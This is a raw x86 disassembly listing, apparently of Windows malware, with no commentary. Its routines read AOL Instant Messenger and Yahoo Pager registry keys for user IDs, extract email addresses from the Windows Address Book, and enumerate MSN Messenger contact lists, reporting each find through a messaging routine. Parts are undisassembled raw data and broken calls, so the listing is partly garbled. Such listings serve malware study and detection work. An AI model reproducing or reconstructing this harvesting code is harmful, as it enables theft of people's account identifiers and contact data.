		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D126
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 0CBBDE890h, 0B9001Bh,	33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 0E8006A1Ch
		dd 24CA2D8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 448F30h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 247A25Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 48A217E8h, 0C0859002h, 0E9850Fh
		dd 4E8B0000h, 24948D04h, 0EE4h,	84685251h, 55004446h, 20244489h
		dd 0CA4DE890h, 0B9001Bh, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h
		dd 100B9ABh, 0D8BF0000h, 0F3005103h, 24448DABh,	19685010h
		dd 6A000200h, 3685500h,	90800000h, 4FA42CE8h, 8468B02h
		dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh,	6A006A52h
		dd 0FF515000h, 74C085D3h, 24548B0Bh, 0E8905210h, 24CA190h
		dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h
		dd 6A006Ah, 0D3FF5052h,	3C75C085h, 8BFC568Bh, 16F424BCh
		dd 8C8D0000h, 6E424h, 68525100h, 444D20h, 0E8694F8Dh, 0FFFCB62Dh
		dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D8075h, 0FCB98EE8h
		dd 1CC483FFh, 1024548Bh, 0A12AE852h, 8B90024Ch,	8B24247Ch
		dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h,	4C244C8Dh
		dd 0EC2484C6h, 16h, 0FCB329E8h,	10C683FFh, 79D4FE81h, 8C0F0044h
		dd 0FFFFFD2Ah, 17642D8Bh, 448D0051h, 68501C24h,	20019h
		dd 6068006Ah, 6800447Bh, 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h
		dd 0F08B0044h, 8A0C6851h, 90560044h, 1BC8D6E8h,	4E5C6800h
		dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
		dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h
		dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89D86851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h
		dd 24448B04h, 0E890501Ch, 24C9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489A8h
		dd 6852F08Bh, 448998h, 0C7C9E856h, 6890001Bh, 444E5Ch
		dd 71E89056h, 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h
		dd 80h,	0E850646Ah, 7780AAF9h, 0CC48390h, 4C74C085h, 7C244C8Dh
		dd 44897C68h, 0E8905100h, 77811B90h, 8508C483h,	8B3575C0h
		dd 16F4249Ch, 548D0000h, 68527C24h, 448960h, 0E8694B8Dh
		dd 0FFFCB3EDh, 938B8Ah,	8A500000h, 9483h, 68515000h, 4D8075h
		dd 0FCB74EE8h, 18C483FFh, 9EE89057h, 837780A9h,	0F68504C4h
		dd 0E8560A74h, 777F60FBh, 4C48390h, 1C24548Bh, 0D1E89052h
		dd 8D024C9Eh, 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh
		dd 0E9FFFCB0h, 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2930271h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_4488F8
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		call	near ptr 2900000h
		nop
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488EC
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2930271h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2930271h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 28E0000h
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 2900000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 28503A0h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		call	near ptr 2720000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 283094Ch
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27205E5h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 272077Eh
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2930271h
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, dword_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A38
		push	ecx
		call	ebx
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A2C
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		call	near ptr 2830000h
		nop
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2900000h
		nop


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B7B+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B6F+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B64
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
